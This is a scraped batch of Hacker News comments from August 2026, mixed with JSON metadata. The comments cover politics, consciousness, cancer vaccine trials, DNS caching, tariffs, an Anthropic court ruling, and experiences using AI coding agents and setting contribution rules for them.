A lot of EOs simply get blocked or countermanded or never take effect, and remain as Presidential Suggestions or Presidential Wishful Thinking entirely. And nobody notices when they fizzle: they only notice when the pen hits paper and they supposedly take effect. They fulfill his promises. They galvanize the base. They assuage benefactors.
Don't be fooled, though. Ruling by EO is simply another layer of lawfare. It's not effective governance and it's not intended to be. It's intended to confuse and beguile you.

I'll add some more:
Orangutans can drive a golf cart, there are videos of that from the pre-AI era. General anesthetics that work on humans also tend to work on them. There is just a smooth gradient of brain evolution.
We don't know exactly what in the brain gets disrupted during general anesthesia (or a baseball bat to the head, for that matter) that causes consciousness to go away, but inquiry has been trending towards lower-level explanations over time, and it's unlikely that it can be fully explained at the biochemical level. We probably need to go down to physics.
Once we're at the physics level, there will be testable hypotheses that work on machines. For example: the pattern and temporal sequence in which particles such as electrons interact with eachother in a circuit dictated by an intelligent computer program may have physical similarities with how particles interact in a human brain, and certain patterns or temporal sequences of interaction may be responsible for human-like consciousness.
Solipsism or simulation theory type of metaphysical positions remain undefeated, but they don't matter for practical purposes because materialism and its accompanying theories of physics have the same predictive power about what I will observe in the future regardless of whether solipsism is true (def true: as real as my own consciousness). If I want to be philosophically rigorous, then I will keep in mind that I can wake up from a simulation at any moment. But until then, physics rules.
It may be that consciousness is not some ideal observer entity thing, but is rather made from and defined by the messy goop of neurons that is mostly the brain, which is changing from moment to moment as cells reorganize, so the definition of "I" is constantly changing in a ship of Theseus kind of way. It may be that nobody has the ideal definition of consciousness (or anything, really), like how nobody has the same definition of an apple even if we're looking at the same apple, because the light bounces off of it slightly differently from my angle of view, so our definitions are only mostly similar. This might be why frontier physics is stuck, because we're current assuming that observations/observers can be defined in a universally identical way. If it turns out that all instances of experience/experiencers are unique and never truly identical, then solving the hard problem of consciousness may end up being equivalent to finding a unified theory of physics, because we'd be trying to describe everything one can observe.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49473989"} {"by": "HedonicEscal8r", "comments": 0, "created_at_utc": "2026-08-28T03:23:38Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49473990", "item_id": 49473990, "kids": [], "parent": 49457464, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "mRNA vaccines are being studied for pancreatic cancer. To quote a post I wrote in April:
> First, the personalized mRNA vaccine autogene cevumeran, developed by BioNTech and Genentech, just reported 6-year follow-up results from their Phase 1 clinical trial. 16 patients were treated, 8 were responders (showed signs of immune reaction to vaccine), 8 were non-responders.
> 7/8 responders (87.5%) survived 6 years after surgery, 2/8 nonresponders survived (25%).
> AACR meeting notes https://www.aacr.org/blog/2026/04/20/live-updates-from-the-a...
> The most important result in this small trial is that vaccine response is strongly correlated with better outcomes. But for context, the trial was restricted to patients with operable pancreatic cancer. Patients diagnosed with stage 1 or 2 pancreatic cancer have a 5-year survival rate of 12%. Patients who get their pancreatic cancer surgically removed have a 5-year post-surgery survival rate of 20%. This makes the overall 6-year post-surgery survival rate of 56% among the 16 trial patients pretty impressive. Keep in mind that the trial patients may have been healthier than average for other reasons, and small n is small n, so we shouldn't be too hasty until we see Phase 2 and 3 data.

While I'm not sure how much of a legal leg X has to stand on, I understand why they'd rather Nitter not exist. Twitter tried (valiantly, imo) to stay open. What ultimately began the API lockdown was the need to stop bleeding financially. Ads were inevitable, and there being no reliable way to do that via API access.
Twitter solved those three problems, and no one spends nearly as much time talking or caring about the technology used to do it than people who talk about decentralization. Myself included in my younger days. Now they're just defending their moat.

The Oakland Hills firestorm of 1989, immortalized in SimCity and several made-for-TV movies, only caused 25 deaths. By contrast, the 1995 Chicago heat wave caused 740 fatalities, and even the 2024 polar vortex event that barely made headlines killed more people (90) than the Camp Fire.

Nearly all Android apps are compatible with GrapheneOS. The exception are around 10% of banking and government apps which use the Play Integrity API to ban using a non-Google-approved device or OS. That's visible to users on GrapheneOS via a Play Integrity API usage notification.

I'd find myself far far more concerned with:
* unbounded growth of the cache and properly invalidating after TTL expires (a few GBs of slop is nothing on a server with 64 or more GBs of ram, unbounded growth is a problem).
* making sure the DNS implementation works correctly on both the serving side and recursive resolution side.
* What strategy is best for deduping recursive requests across machines (if something a few miliseconds away has a live result, why do a full lookup taking hundreds or thousands of milliseconds?). This potentially improves RAM usage across the datacenter too from not having a given record on dozens (or more) machines' local cache. I don't know exactly how they do it, but naively I'd look at some sort of DHT shaped solution to look for records in peers within the datacenter. Or maybe some sort of tiered caching with the upper tier being sharded on domain name or the like.
* The biggest performance gains cloudflare can provide in Web and DNS cache come from a cache hit. This is on the order of 10s or 100s of ms due to having a big cache and short distance to the requesting machine. A suboptimal lookup algorithm that is a few microseconds slower in local compute and ram access is just not as important as the other concerns for dedup and cache sharing. That's not to say it's unimportant, just that it's not the top priority when you're trying to deliver this much larger performance gains from other aspects of the system. Thats why they are getting to it several years after release.
Cloudflare writes a lot about distributed systems solutions to various problems. They likely don't think as hard about single machine performance as much as whole datacenter performance when approaching problems.

I'm not sure that would go down well in 2026. The redneck thing feels tired, the public narrative of wealth inequality would likely make Michael feel out of touch, and much of the audience would have identified with Franklin but he doesn't really have the struggles that today's Millennials and Gen-Z have.
These two characters seem more realistic in that sense. Less direct comedy (although I still see that there's the iconic GTA parody in places), a couple who are probably going to be much more relatable even if they're criminals, and a standing in society that is more relatable.

It’s actually fairly common up here in the Pacific Northwest. Dozens of towns dotted around the map have their own municipal fiber networks, but Ziply serves more customers than all of them combined. Thus I say that the free market is fixing the problem that the government created. Another good example is Starlink. They provide service to millions in very rural areas that are out of reach of other ISPs.
When we paid for national broadband access here in the US, it was not for fiber to the home. It was for DSL. Worse, the FCC measured coverage not by service address as it does today, but by census district. The phone companies merely had to assert that they could provide service to an address in the district and the FCC would count the whole district as covered. The districts aren’t very big, so in dense areas that was not a bad estimation. In less dense areas it was just a giant loophole. They could provide service to one house on the edge of the district and not bother with the hundreds of homes miles away out in the countryside. Officially we got exactly what we paid for.
As you say we could still nationalize these fiber networks and stitch them together into a real national network. Of course they don’t all use exactly the same technology, and it would be a huge political fight, but in principle I could see a government agency gradually buying networks from the ISPs and integrating them.

What I actually wrote was this: "Then, presumably, you will also hold that when you have digitally modeled a brain such that the model responds to its inputs as a brain does, then you have built a brain." This has to be read in the context of the post by ratelimitsteve to which I was replying: I am not saying that I think that when you have digitally modeled a brain such that the model responds to its inputs as a brain does, then you have built a brain, I am saying it is something that ratelimitsteve would have difficulty denying while being consistent with his distinction between simulating and building. Personally, I would not say that simulating a brain to this extent amounts to building a brain, as that seems to me to be unnecessarily awkward usage that I feel will lead to confusion without making anything clearer. I would still call it a simulation, albeit one that might justifiably be called functionally isomorphic to a biological brain if it were good enough.
I would describe the relationship between an Enigma machine and a digital simulation of one in the same terms, and if I possessed an actual Enigma machine, I would not willingly swap it for a digital simulation!
With that said, let's go back to your second paragraph:
"You say that the physical hardware your enigma simulation runs on provides the causal element..."
Yes. The design of the physical Enigma device contains an abstract specification of how outputs are to be generated from inputs, such that when the machine is used, physics ensures that the correct output for any valid input is generated as a consequence of the causal relationships between its components. In the same way, the software of its digital simulator contains an abstract specification of how outputs are to be generated from inputs, such that when the program is run on a sufficiently capable computer, physics ensures that the correct output for any valid input is generated as a consequence of the causal relationships between its components, once the program has been loaded.
"...but the simulation of the nuclear reactor also runs on physical hardware. Yet it obviously doesn't provide the causal element..."
Correct, insofar as a computer is not capable of undergoing nuclear fission, regardless of how it is programmed.
"...and neither does the enigma machine simulation's hardware. There are no spinning gears for example."
No - these two cases are not equivalent. Nuclear fission is required for a nuclear reactor to function, but rotating gears are not required for encrypting or decrypting a message according to the enigma machine's abstract specification; they are just how the specification happens to be implemented in the machine.
"...Hence why you and I both call it a simulation, I think we're in agreement here."
Well, we both seem to be in agreement as to what to call it, but apparently not over why we think that.
In next paragraph ("I think you could argue that..") you say you could agree that the essence of the enigma machine is not grounded in physical reality, it's the abstract relationships we're talking about.
I am OK with that so long as it is understood that some sort of implementation is required for anything to happen.
Now we get to the misunderstanding of my reply to ratelimitsteve, covered above, and after that you go on to say "the claim is that the essence of the brain is the abstract relationships, correct?" My response to this is the same as with regard to the essence of an Enigma machine: I am OK with that so long as it is understood that some sort of implementation is required for anything to happen.
The next paragraph begins "The problem I see is that consciousness is a physical phenomenon...", and I tend to agree with the claim (though not that it is a problem) again in the sense that some sort of implementation seems to be required for anything to happen. I don't claim to be able to prove this, let alone explain how it works in brains, it just seems to me that there's no plausible alternative.
Then you write "In fact it seems like it's the magnum opus of phenomenon, in that all our experience comes from our consciousness..." To me, this appears to be a version of Cartesian doubt, about which I am extremely skeptical, in this sense: I think it is tendentious for anyone to invoke it only when it greases a sticky argument, while otherwise acting, speaking and arguing as if our sensory experiences give us reliable information about an external world.
Finally, we get to the crux of the matter: "you have to then bridge the gap between the simulation and physical reality." Here you just declare there to be a gap between the simulation and physical reality, but to my mind, nothing you have written up to this point provides any justification for thinking there is a gap that needs to be bridged. As best I can tell, you feel that by emphasizing the abstract nature of what you call the essence of a simulation you have divorced it from the physical, and my response to that has been, consistently, to point out that these abstractions do not get anything done unless they have some implementation, and there is no evidence of those implementations being in any sense non-physical.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49474290"} {"by": "KolibriFly", "comments": 0, "created_at_utc": "2026-08-28T04:15:24Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49474291", "item_id": 49474291, "kids": [], "parent": 49468510, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "[flagged]", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49474291"} {"by": "inigyou", "comments": 0, "created_at_utc": "2026-08-28T04:15:27Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49474292", "item_id": 49474292, "kids": [], "parent": 49474040, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "We don't have to have any respect for X's profitability btw.

Don't point it at anything that looks like a "system" for actual work (but mapping or planning might be ok). Opus is maybe not as creative, but it's more stable and more trustworthy. Opus driving Fable could be awesome, but Fable unleashed/unsupervised on longer horizon tasks or things that require more methodical changes on lots of components seems like a disaster every time I try it.
Since this kind of thing is always down to harness, project-type, and other structural constraints, of course your mileage may vary. Fable is probably great for pen-testing, or as a decision-making kernel of other kinds of applications, and way better than Opus at those things. Probably fine for code-review or changing a codebase of a few thousand lines in any language. Actually building that codebase or changing an even bigger one? Woof.
How this fits in with science? IDK but I bet other existing causal reasoning benchmarks might tell the whole story and this is back to stability again.

Using twice as much ram per cache entry makes the cache half as large, assuming your cache is bounded by ram, unless the queried, unexpired result set is less than the ram budget (which I would tend to doubt... lots of randomized queries out there; maybe I'm wrong if the cache size dropped).
When you're storing billions of records, it makes sense to spend a few minutes to consider how they're used and make a good choice about how to store them.
When you're getting a cache hit tons of times per second, it makes sense to consider every step and which ones don't need to happen every time. You have to consider every step while you're pursing correctness anyway, so might as well have the performance lens active too.
I'm not asking for heroic optimization: I didn't ask for vectorized stuff or kernel/nic offloading or kernel bypass networking... Just you have to use some data structures, you might as well not use ones that are expensive for features you don't need; and you have to store something in your cache, you may as well store something that requires less munging on the way out.
If this were a small local cache, that didn't want to use something already existing like unbound for some reason then yeah, data structures don't make a huge difference, extra marshalling doesn't make a huge difference, just don't reimplement all the CVEs that BIND had in the 90s. But if you're going to allocate 100 TB of ram, make it count. Even if you do use twice the ram but you get value from it, maybe that's fine... I've run wacky systems with bloated storage when there was a benefit.

I don't know that it's worth very much to describe. It's not sophisticated. Each component just has an attribute named data-ai-context and content that describes it. This needs no LLM. e.g. charts go into canvas, so their data-ai-context has a textual summary of the content (same as is fed to the charting library); buttons describe what they'd do. Then when you click the "Copy to AI", a piece of JS hits a backend to sign a 15 min token for the same user (as if they'd logged in but with a short token) and pulls all the data-ai-context attributes and gives you a prompt in your clipboard describing the site organization.
It just so happens that doing that tiny first bit allows even stupid models to navigate the site. After that, advanced models also sometimes query for the data-ai-context and they can mimic the Copy To AI to not have to nav the site.
e.g. content "Job Failure Rate: failed sync jobs as a share of jobs run, per connector per day, over 7 days. Day X: facebook=8 failed / 862 jobs; ga4=0 failed / 196 jobs;"

No country makes everything, and yes, there's lots of competition.
Tarifs have existed since forever. Countries use them to protect local industries. But they've always been stable, and industry focused.
Food production for example is worth protecting and Canada has tarifs on imported Dairy. Partnerships exist to protect local industries, promote exports, and give citizens access to cheap goods. It's a complex balance set up over time with lots of nuance and negotiating.
Yes, sometimes tarifs kill a local industry as well. Lack of international competition let's local industry stagnate until it is dead. US ship building is a good example of this, and US Auto makers are trending in this direction. (Banning Chinese EVs is not bolstering the US EV production, it is causing the US manufacturers to ignore that market, and I don't think that ends well.)
Tarifs are a powerful tool when wielded well. Alas right now the US in unstable. Local industries can't rely on tarifs existing next week, never mind 5 years from now. I'm not investing in a local hockey stick factory because the tarif could disappear at any time.
In my country we get cheap solar panels from China. Frankly, let them sell below-cost if they like. (Hint, they're not below cost). We don't make them here, so cheap energy is good for all.
The US negativity to Chinese goods seems to be around dumping (which happens, but not much), around quality (frankly much of it is very good) or around human rights. (Cause, you know, we bombed Iran to promote human rights...)

Such an injunction is granted when a party can show they have "irreparable harm" if not for the injunction and would likely succeed on the merits of the case.
> Anthropic has submitted concrete, non-speculative evidence of the ongoing harms to its liberty interests. Within days, many large enterprise customers signaled that publicly doing business with Anthropic over competitors was not worth it. (Dkt. No. 6-4 ¶ 16.) Three government contractor customers terminated their contracts with Anthropic, or were instructed to do so by Defendants; three deals valued at over $180 million fell apart despite being on the verge of closing; potential partners demanded additional protective contractual provisions such as \nunilateral termination; customers asked to cut short their contracts or reduced their amount, in some instances specifically mentioning the Challenged Actions; and others switched from Claude to competing generative AI tools. (Dkt. No. 6-4 ¶¶ 11–19; Dkt. No. 6-3 ¶ 33.) Anthropic’s Chief Financial Officer, Krishna Rao, projects that, depending on how broadly Anthropic’s customers interpret the Challenged Actions, Anthropic could lose between hundreds of millions and multiple billions of dollars in 2026 revenue. (Dkt. No. 6-5 ¶ 6.) Moreover,\nDefendants do not contest that Anthropic will be unable to obtain compensatory relief from the government, making its economic harm likely irreparable. E. Bay Sanctuary Covenant v. Biden, 993 F.3d 640, 677 (9th Cir. 2021); California v. Azar, 911 F.3d 558, 581 (9th Cir. 2018).
The current decision discussed in the article was also expedited since it is Anthropic winning a motion for summary judgement.
That is, before a trial even happens to assess who is correct about a factual dispute, parties are allowed to try to win entirely on legal grounds. The judge assumes everything the United States alleges is true, then sees if Anthropic would win anyways.

It’s probably a bad prediction of the future, but having an exaggerated dystopian view of the future is a classic trick used in golden age science fiction (e.g. Decision at Doona from 1969 had a grossly overpopulated Earth) so one I was able to accept while reading the story.
It definitely has a bias; it doesn’t mention the stories of women regretting abortions at all, except (minor spoiler) mentioning that Asenath Smith didn’t want an abortion. As someone who has had multiple women confide their abortion stories to me, it’s quite common for women to deeply regret having them. I understand why a story as political as this one doesn’t want to get in to the nuance of the trauma abortion can cause, because it’s written in the same year Roe vs. Wade was overturn, so it’s a story of how much women need access to pregnancy tests and to abortion.

after a number of years, a small dose of lithium (300mg) was recommended by a psychiatrist who stood apart (at least in that respect), and it was magic at mood stabilization, I never before even realized that I experienced hypomania (and I took it for anxiety), I just thought I was "bold".
(Lithium is not a drug, it's an element, taken as a metallic salt. It occurs naturally in the water in various parts of the world, and those populations have been studied and suffer lower rates of mental illness. My shrink said his recommendation was based in conjunction with the prozac I was taking, i.e. a known correlation. Bipolar II is a different mental condition than bipolar I, and somewhat slippery/loosely defined)

You know that guy who once in a while has a lot of fun drinking, has a huge hangover the next day, and swears "never again"? I am sort of that guy, but with AI.
Going all-in on AI, burning out on it, and promising "never again."
Last week, I started ramping up my AI usage, thinking, It’s not bad, it’s quite useful. It’s not annoying anymore—maybe it improved. I played around with local LLMs, and they can do stuff; it's not bad. Some rough edges, but it’s salvagable. I thought maybe I was getting better intuition, or maybe AI was just getting better. Yesterday, I decided to give AI a task: rewrite my build scripts. Over ten years, I’ve been maintaining my own set of build scripts just to make my life less miserable in the big AAA machine with its AAA setup. I never intended to share those scripts, so they were sloppy, ugly, and required nonstop maintenance and tweaking. So, I composed the prompt and let an agentic AI—let's give some specificity: Sonnet 5 under a Copilot harness—refactor my scripts and make them ergonomic and beautiful.
It did the job very well. It actually did it too well, except for one small footgun. That was two days ago. I was enjoying the scripts for one day, and today everything fell apart. You know, a day passes, and I thought I had introduced some regression or oversaw something in the past. I bisected the game code with git, went back two months, and everything was broken.
I am in AI euphoria. I asked the AI to figure out what was going on, and for the whole day, we were chasing ghosts. You know what happened? I have `rsync`. There is a switch: `--cvs-exclude`. I’ve had those scripts for ten years; that switch is old, and I barely remember what it does, but it excludes a lot of heavy binaries. However, in our codebase, some binaries are included in the repository and are important, so I had to explicitly include one folder called `core` in the `rsync` arguments.
Without that explicit inclusion, a handful of files weren't syncing with the build machine, failing the build. But our build scripts aren't perfect either, so things only fell apart on a completely clean build. You wouldn't hit it just cleaning in Visual Studio—you had to manually delete files first, and only then would the build break. Which is exactly why everything was working fine yesterday.
AI isn't there yet. The idea of rewriting software from scratch might sound great, but prepare to painfully rediscover a lot of tribal knowledge—like that little switch that just wasted a whole day of useful development.
Never again, AI. Until tomorrow...

We had to implement a streaming system and figure out a good way of chunking the world. This was a challenge because everything was on water and you could see nearby islands quite far away. An intern called Tommi did a great job identifying a good strategy and writing the system.
We also had to reduce the density and model complexity of a lot of environmental details such as rocks, vegetation, and stuff like pots and clotheslines. This was done largely by sorting things by memory size and frequency of use and identifying outliers.
One of the biggest issues was actually really silly: the journal fetched Portrait images and names of characters by referencing the actual NPC and having them embedded there. Meaning the journal, which was always loaded, would pull every NPC involved in a quest into memory including their behaviors, textures, and models.
On my end I also found a lot of silly details wasting hundreds of megabytes. Special render passes using huge textures and render targets, poor structuring of the render pipeline caused memory increases, several key shaders referenced huge textures which weren't necessary, ...
My blog posts about the project[0] mainly focus on rendering performance because that's where I spent more time and it contains more interesting content for discussion. But reducing memory was an ongoing concern with countless little improvements over the 1.5 year porting process

We made it a pretty big goal from the start to clearly communicate to users that the network is extremely public, and that we believe open access to public content is an important part of preventing another round of walled gardens. This is generally understood and appreciated, but the community has a wide range of opinions about it. Some people see public as public and that they’re there to have their voice heard. Some people see it as a pretty uneasy arrangement at best, and would rather it wasn’t that way.
The atproto community has been spending a large portion of the year developing “atproto spaces,” which are essentially a way to cheaply mint mini-atprotos with access control. This is the answer to non public data. It will be added to the Bluesky app and the ecosystem, and it will remain accessible to apps based on the grants of the users, but the spaces will not broadcast their content on the firehose. I believe, based on the reception we’ve received from that work, that people appreciate that it’s being done, and that people eager for less exposure will pick it up.
This should, hopefully, resolve any tensions at play. We will continue to advocate for public speech and I think many people will continue to participate in it, but I am quite curious to see if the non public spaces gain more adoption overall. My guess, based on people’s general use of the internet, is that they naturally will. The public arenas serve a particular purpose and not everyone is always trying to be a part of them.

You say "ruining the delivery". I believe I understand. It is not traditional www text search.
I do have a problem with most chat ai's that always ask a question at the end of their answer. This is where configurability is more important to me than absolute performance. e.g. "don't end an answer with a question unless it is directly relevant to the current conversation.
Yes there are many other UIs besides chat. The default chat UI really bothered me at first. Seemed cheesy. However the majority of human interaction is "chat".
Something that is really really cool in this tech is the vision and audio and text models that naturally cluster similar things in massive multi-dimensional arrays. I have a hard time mapping nut~squirrel~food~imageofnut~dogsaspredators~whateves. How does that condense?
We have come so far on the audio transcription dimension. In this discussion context yes it is still chat but we've moved to a different place in the brain. Not radically different (humans without visual sight come to mind in how the process goes from photons to perception (also see hank green's vid on how the eyes are part of the brain)).
Anyway hope this isn't a throwaway account. That username doesn't inspire confidence in that regard.

One big problem I have with them is that they take away time from project maintainers for reviewing and helping to get the PRs into shape, which then can't be spent on other, more important things. I feel like the "good first issue" GitHub label is specifically attracting these kinds of contributions.
It's not a black-or-white thing though, and you need to tell apart folks who produce slop PRs against any arbitrary repo, from folks using AI to contribute in a sensible way. We've tried to codify some rules in our contribution guide [1]:
- PRs from apparent bot accounts are closed\n- PRs from users who file large numbers against random repos are closed\n- You're welcome to use AI, but you need to stand behind your PR and be able to explain it
I'm sure we'll adjust those rules over time, but since we have instantiated them, it definitely has become easier to deal with AI PRs and handle them in an a relatively objective way. It absolutely means that sometimes a PR will be closed which could have been an improvement, but I think this is the right thing to do given the circumstances.

At the import level it's usually "hanging weight" of a beef carcass before butchering, about 700 pounds. In this case, according to Beef Magazine [1], there had been some preliminary butchering at the sending end , with the take home packages to be made up at the local supermarket, which would result in some midrange weight per cow.
More to the point, Beef Magazine reports this as an ordinary inspection failure event.\nIt's a recall because, for some reason, the beef didn't go through USDA incoming inspection, and this wasn't discovered until three months later, long after the beef had been sold, and probably consumed. That's a failure of Customs and Border Protection, which is supposed to make sure that doesn't happen. Beef Magazine says that's an automatic trigger for a Class I recall. It's not a political decision.
Unlike the CBS article, the Beef Magazine article names the shipper and gives the lot numbers of the recalled beef. The Beef Magazine author has a degree in agricultural production, teaches Animal and Range Science at Montana State University, and worked their way up from cattle ranch foreman to director of Montana’s Beef Quality Assurance program. He probably knows something about beef.
The CBS author has a degree in Law and Public Policy and has given a TED talk. His LinkedIn profile says he is "one of America's leading food safety advocates." I'd go with what Beef Magazine says here.

> breakthrough progress eventually arrives by an opposing approach based on scaling computation by search and learning.
More to OP's point I think: nowadays when someone wants to beat you over the head with the bitter lesson, they aren't as careful to include learning and search. They want to say learning leads to intuition (magic) whereby we can avoid work (logic/search), and maybe argue or assume from there that neats and scruffies is settled. TBF, something like reasoning in latent space does resemble intuition!
But the real lesson is confirmed every time we bother to check, and not very bitter for anyone. Search/learning/logic are ALL always necessary on any sufficiently difficult problems, and hybrids that interleave always outperform everything else. Stockfish being the example in this thread that different camps of absolutists would like to claim, but also all the MCTS examples, evolving examples, and new hybrids all the time.

We've already gone from claiming to want debate all the way down to expressing pure nationalist xenophobia and expressly stating to be closed to any argument.
We now even had confession that that was the consistent position all along, revealing the call for rational debate was never the true position - it had been an ideological device all along.

They may be both autistic and have epilepsy. Epilepsy is diagnosable based on observed neurological events and physiology, it does not depend on behavioural observations, a person’s opinion about whether they have it, or a doctor’s interpretation of a self-evaluation (as autism diagnosis often does).
I disagree with you that it’s the discussion that’s off, it is the science.
The problem is that autism is not a clearly defined disorder. Its definition and diagnostic criteria can and have changed, and even then, those criteria are poorly specified.
One thing that I have always found troubling is the “clinically significant impairment” requirement of an autism diagnosis. It seems to me that a person’s level of “impairment” is likely to depend on individual differences and possibly environment and circumstances. To me this seems odd: surely the disorder exists regardless of a person’s ability to manage it? If a person grows up in accommodating circumstances, do they not have autism? What if someone grows up in tough circumstances but later finds more accommodating circumstances, is their autism “cured”? Questions are facetious, but the point stands.
It’s also odd that we see autism so highly implicated in comorbidities with other disorders such as epilepsy, which aren’t dependent exclusively on phenotype observations to diagnose. To me, this strongly indicates that what we call autism today (or some sub/superset of it) likely will become definitively diagnosable in future with improved understanding and brain imaging.
For now, it feels like the diagnostic criteria are actually just guidelines for guessing whether someone is autistic, rather than determining it (especially when it comes to determining what constitutes “significant clinical impairment” and its varying degrees).
To be clear: I definitely believe that “autism” exists and is a disorder that impacts people broadly as described, the challenges are around its definition and diagnosis. I have spoken to autistic people before who have found my views to be offensive, and invalidating of them. That’s not my intention, my intention is to pursue accuracy because I believe with better understanding, we will be able to make sure our public spaces/workplaces/etc. are accommodating to everyone, including folks with different needs.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49474839"} {"by": "Scoundreller", "comments": 0, "created_at_utc": "2026-08-28T05:54:57Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49474840", "item_id": 49474840, "kids": [], "parent": 49469649, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "the bug-a-salt salt gun will never fail", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49474840"} {"by": "Markoff", "comments": 0, "created_at_utc": "2026-08-28T05:55:06Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49474841", "item_id": 49474841, "kids": [49478875], "parent": 49473387, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "any link or to way how to find it there?

These are basic: they work for human coders and are typically quick to setup. But gates at this level are far from enough for agentic coding. You need an extensive test suite/e2e suite/benchmark suite. Typically much larger than the code base itself: This is what enables those "i ported bun to rust in a weekend" headlines. Where ever such extensive 'gates', high quality ones, already exist, the agent can do a good job of making things work, cause it can automatically iterate.
But: every hole, every gap in coverage, will be eventually found by the coding agent and 'exploited'. So you need full, extensive coverage.
This suite itself is a LOT of work, much more than what it would be if you only had to worry about human coders. So if YOU are writing the gates yourself, you are going to fall between A and B: you still have a convoluted, unreliable, impossible-to-reason-about prod app, AND it still took you eons to build it cause you spent that time writing the gates. This is no win at all, on either front.
Where gates, extensive ones, help in route A is they can significantly reduce the churn/spinning, fix-x-break-y, to just the parts that are gaps in coverage (which the agent will keep finding at a ridiculous rate). And your work would be to have it ALSO keep filing in those gaps with more tests/etc.
One of the reasons go coding with agents works better than other langs is cause I even include AST based enforcements in my governance suite.

> For computer vision in particular, much progress came from manual feature engineering, such as SIFT features, SURF features, HoG features, bags of visual words, etc. It was a minority position in computer vision that features can be learned directly from data
This undersells the change though! David Lowe's reputation as the best image researcher in the world was based on his SIFT patent[1]
This approach worked until 30 September 2012.
That was a bitter day for many, many computer science researchers.

This should be common sense, right?
I see arguments like this all of the time in ML. There is a large branch of statistical theory that can cast some doubt on this.
Stein's paradox: when three or more parameters are estimated simultaneously, there exist combined estimators more accurate on average (that is, having lower expected mean squared error) than any method that handles the parameters separately.
This goes deeply against "common sense", but is mathematically proven, empirically proven, etc.
If you are just taking a chess model vs. an LLM, you are right.
But if you want a chess model, a medical diagnosis model, and customer service chat model, at a high level the intuition of Stein's paradox is that one combined model will get you better performance than three task-specific models.
Most practitioners don't get this because what amounts to graduate-level stats theory is often brushed aside, and we keep relearning it the hard way.

Clojure has some limited support for Java annotations, it's just that support is a bit ungainly, and that introduces enough difficulty that it leads to frameworks like Quarkus having no real adoption in the Clojure community.
Quarkus also relies on byte-code rewriting which may also cause difficulty for Clojure, but that's an aside.
Better annotations support wouldn't necessarily improve the ease of annotation-driven web frameworks in Clojure because the issue is more fundamental than that.
The real problem for Clojure is, from the original article:
> It's because in Jakarte EE 11 Context and Dependency Injection (CDI) officially becomes the single, unified component model across the entire enterprise Java ecosystem ... CDI is entirely driven by annotations, and annontations are entirely not Clojurish.
What I mean here specifically is CDI is the 'blessed' solution for DI in Java, CDI is clearly derived from many years of innovation by Spring, other DI frameworks in Java. Annotations is the path forward.
That means DI in Java is driven at a code-oriented, not data-oriented. Code-oriented is more natural in Java, and to give you a counterpoint, when I first worked with Spring (and very briefly with Rod Johnson for a couple of weeks on a client engagement, boring story) it was possible to configure Spring in XML.
Spring XML would be the equivalent of data-oriented in Java. Nobody in Java wants to do that, they want annotations instead.
In the article I say:
> configuring systems in code is a pale imitation of configuring systems in data. I much prefer my data-oriented system config library in Clojure to annotations in Java.
As it turns out I wrote something on reddit about this recently, you can find that here:
https://www.reddit.com/r/Clojure/comments/1vm668q/comment/p3...
Sorry for quoting myself and links back to reddit, feels a bit odd.
The point is - when you start configuring things in code, you are leaning into Java objects and/or code-level constructs for dependency injection, rather than the frankly far better approach in Clojure of using the wonderful Integrant library which relies on Clojure datastructures:
https://github.com/weavejester/integrant
And then of-course Slipway, which is also entirely Clojure maps.
If you are using annotations to configure your web server, you are better to write your webserver code in Java and have the server handlers call out to Clojure at the handler level. It inverts your entire codebase back into 'Java is in charge, clojure is an adjunct to that'.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49474982"} {"by": "DarmokTanagra", "comments": 0, "created_at_utc": "2026-08-28T06:18:58Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49474983", "item_id": 49474983, "kids": [], "parent": 49469733, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "As opposed to the American surveillance state which is focused on enflaming emotions.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49474983"} {"by": "lmz", "comments": 0, "created_at_utc": "2026-08-28T06:19:11Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49474984", "item_id": 49474984, "kids": [], "parent": 49441155, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "This is a tortured analogy.

But when people are in power they seem to convince themselves that it will always be like this, and so when it comes to power all they can say is 'more, more, more.'

But he also said
> I can imagine shapes and faces and objects just fine, and can rotate them around if necessary, etc., but I cannot see them because my eyes are not involved; when I close them the imagined images do not disappear. The visualization is akin to seeing, but obviously I am not seeing them.
Initially this struck me as logically incoherent, but reading it again and taking into account the fact that he defines seeing as using eyes--an unreasonable circular precondition--he does indeed seem to be describing normal phantasia, given the reference to images that do not disappear, and to visualization. As someone with near-complete aphantasia, I cannot produce such images or visualizations and I certainly can't rotate them around.
What is quite clear here is that people are describing different sorts of experience, not mere semantic quibbling (which defining seeing as using eyes is certainly an example of) ... and we have physiological data that supports that view. I find it quite bizarre that there are so many people on this page who insist that these differences cannot exist, that everyone is exactly like them (even though there are differences among those who claim this), to the degree that they claim that others are lying, seeking attention, seeking profit, etc. ... there is no reason at all in evidence or logic to support these claims or the position that everyone's mind is the same, in this or any other aspect.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49475009"} {"by": "ExoticPearTree", "comments": 0, "created_at_utc": "2026-08-28T06:23:17Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475010", "item_id": 49475010, "kids": [49475196], "parent": 49473522, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Before bashing Trump for not liking Anthropic, people should consider the consequences of having the judiciary decide what software companies the government can and cannot use.

